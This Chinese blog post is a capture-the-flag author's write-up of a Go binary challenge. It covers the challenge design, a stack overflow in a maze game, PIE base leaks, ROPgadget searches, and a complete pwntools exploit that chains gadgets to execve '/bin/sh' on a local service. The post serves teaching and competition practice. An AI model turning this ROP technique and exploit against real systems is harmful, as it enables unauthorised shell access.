关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
看雪题目设计
无
254
0
0
mut3p1g
# 0x01 题目设计 大概逻辑是随便瞎走,然后一共有4个宝藏,在角落上的三个是忽悠人的,随机的那个宝藏4才能留言触发栈溢出 ## 1. 栈溢出 栈溢出比较简单,问题是在`go`中的实现就比较麻烦了,具体参考我对`seccon2017`那道题目的源码复现:http://leanote.com/blog/post/5c64bb2bab64415167000f48 ## 2. go线程堵塞 这里实现了一个多线程,当靠近了宝藏4就会新生成一个宝藏4。而在`go`里的多线程中有一个叫做`channel`的通道可以在不同线程中传输值,而如果传值了没取那么线程会堵塞在传值那条语句中,于是就不会继续随机了。 ## 3. 编译 保护全开+去符号表 ``` go build -buildmode=pie -ldflags "-extldflags=-Wl,-z,now,-z,relro -s -w" kx.go ``` 不过实际上有用处的也就是`pie`,可以通过栈溢出泄露 ``` gdb-peda$ vmmap Start End Perm Name 0x000000c000000000 0x000000c000001000 rw-p mapped => gdb-peda$ x /10xg 0x000000c000000000 0xc000000000: 0x00007ffff7fb3000 0x00007ffff7fb3078 => gdb-peda$ x /10xg 0x00007ffff7fb3000+8 0x7ffff7fb3008: 0x00005555559e1340 0x00005555559e1340 ``` # 0x02 exp编写 ## 1. 控制rip 输入长字符串后,直接看报错: ``` goroutine 1 [running]: runtime.systemstack_switch() /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820037ae0 sp=0xc820037ad8 runtime.mallocgc(0x4138674137674136, 0x0, 0xc800000003, 0x12c) /usr/lib/go-1.6/src/runtime/malloc.go:665 +0x9eb fp=0xc820037bb8 sp=0xc820037ae0 runtime.rawstring(0x4138674137674136, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:284 +0x70 fp=0xc820037c00 sp=0xc820037bb8 runtime.rawstringtmp(0x0, 0x4138674137674136, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:111 +0xb7 fp=0xc820037c38 sp=0xc820037c00 runtime.slicebytetostring(0x0, 0x6741356741346741, 0x4138674137674136, 0x3168413068413967, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:93 +0x6f fp=0xc820037cd0 sp=0xc820037c38 main.walk(0x396a4138, 0x0, 0xc820037ee0) /root/golang/kx.go:94 +0x6a6 fp=0xc820037e48 sp=0xc820037cd0 ``` 可以看到,应该是覆盖`buf`却把栈上的数据给覆盖了,那么直接给个可读地址替换一下就行了,最后用下面这个`payload`就能控制返回地址了: ``` payload = 'a'*192 + p64(0x000000c000000000) + p64(8) + 'b'*80 + p64(0x12345678) ``` ## 2. 写入binsh 那么接下来要做的就是构造`rop链`了,最终目标是执行: ``` execve("/bin/sh") => syscall rax=0x3b rdi=addr_of_binsh rsi=rdx=0 ``` 首先是把`binsh`写到`bss`上: ``` ROPgadget --binary kx | grep "mov qword ptr \[rdi\]" 0x000000000012ddd5 : mov rax, qword ptr [rsi] ; mov qword ptr [rdi], rax ; ret ``` 那么现在就需要`rax`和`rdi`可控了,这样就能任意地址写了: ``` ROPgadget --binary kx | grep "pop rax" 0x000000000003d4e8 : pop rax ; ret ROPgadget --binary kx | grep "pop rdi" 0x0000000000109fcd : pop rdi ; ret ``` ## 3. syscall参数设置 还需要控制`rdx`和`rsi` ``` ROPgadget --binary kx | grep "pop rsi" 0x0000000000113d1e : pop rsi ; ret ROPgadget --binary kx | grep "pop rdx" 0x0000000000152a0e : pop rdx ; or byte ptr [rax - 0x77], cl ; ret // 这里需要先将rax设置为一个可写地址 ``` ## 4. getshell 最后就只需要`syscall`了 ``` ROPgadget --binary kx | grep "syscall" 0x000000000012de39 : syscall ; ret ``` # 0x03 exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * from random import random import sys, time context.log_level = 'debug' context.terminal =['tmux','splitw','-h'] context.binary = "./kx" p = remote("127.0.0.1", 8888) def walk(): step = ["w", "s","a", "d"] while True: recv = p.recvuntil(">>") if "Treasure 4" in recv: print("success!") return p.sendline(step[int(random()*4)]) p.recvuntil("Please input you name :") p.sendline("mutepig") # leak golang_base walk() payload = 'a'*192 + p64(0x000000c000000000) + p64(8) p.sendline(payload) p.recvuntil("Ok.Your message: ") leak = u64(p.recv(8)) # leak code base walk() payload = 'a'*192 + p64(leak+8) + p64(8) p.sendline(payload) p.recvuntil("Ok.Your message: ") base_addr = u64(p.recv(8)) - 0x48d340 # ROP walk() pop_rax = p64(base_addr + 0x18330) pop_rdi = p64(base_addr + 0x10a34d) pop_rsi = p64(base_addr + 0x11409e) pop_rdx = p64(base_addr + 0x15312e) writeable_addr = p64(base_addr + 0x487e80)#p64(0x000000c000000000) move_rdi_rax = p64(base_addr + 0x12ddc9) syscall_addr = p64(base_addr + 0x12e1b9) payload = 'a'*192 + p64(0x000000c000000000) + p64(8) + 'b'*80#+ p64(0x12345678) ## write binsh payload += pop_rax payload += "/bin/sh\x00" payload += pop_rdi payload += writeable_addr payload += move_rdi_rax ## set rsi=rdi=0, rax=0x3b payload += pop_rsi payload += p64(0) payload += pop_rax payload += p64(0x000000c000000077) payload += pop_rdx payload += p64(0) payload += pop_rax payload += p64(0x3b) ## exploit payload += syscall_addr p.sendline(payload) p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.